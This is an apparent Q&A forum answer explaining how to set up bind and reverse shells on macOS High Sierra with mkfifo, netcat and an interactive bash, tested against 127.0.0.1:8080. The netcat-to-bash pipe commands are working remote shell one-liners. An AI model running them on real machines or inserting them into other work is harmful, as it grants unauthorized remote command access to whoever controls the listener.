Create reverse shell using High Sierra?
If I understand correctly, you want to connect to your High Sierra machine from an external source via something like netcat (nc), send commands to bash, and view the response.

There are more secure and simpler ways to do this using ssh, but presuming this is some kind of experiment or development trick, here's how you can do what you're asking.

My answer is based on an answer I found elsewhere on SE (https://superuser.com/a/607855), which itself is based on other SO/SE answers.

First make a fifo:

mkfifo myfifo


Then start 'nc' using the fifo as its input, piping its output to bash, and redirecting bash's output to the fifo:

nc -l 127.0.0.1 8080 &lt; myfifo | /bin/bash -i &gt; myfifo 2&gt;&amp;1


(The '-i' flag for bash indicates an interactive shell, and may not be desirable for this use case.)

From the remote device (in my testing, myself):

nc 127.0.0.1 8080


If you want to reverse the roles, i.e. the High Sierra machine is establishing the connection to the remote device, and giving the remote device access to bash on the HS host, you would move the listen flag (-l). So, the remote device would start netcat first in listen mode:

nc -l 127.0.0.1 8080


Then the High Sierra host would connect to the remote device:

nc 127.0.0.1 8080 &lt; myfifo | /bin/bash -i &gt; myfifo 2&gt;&amp;1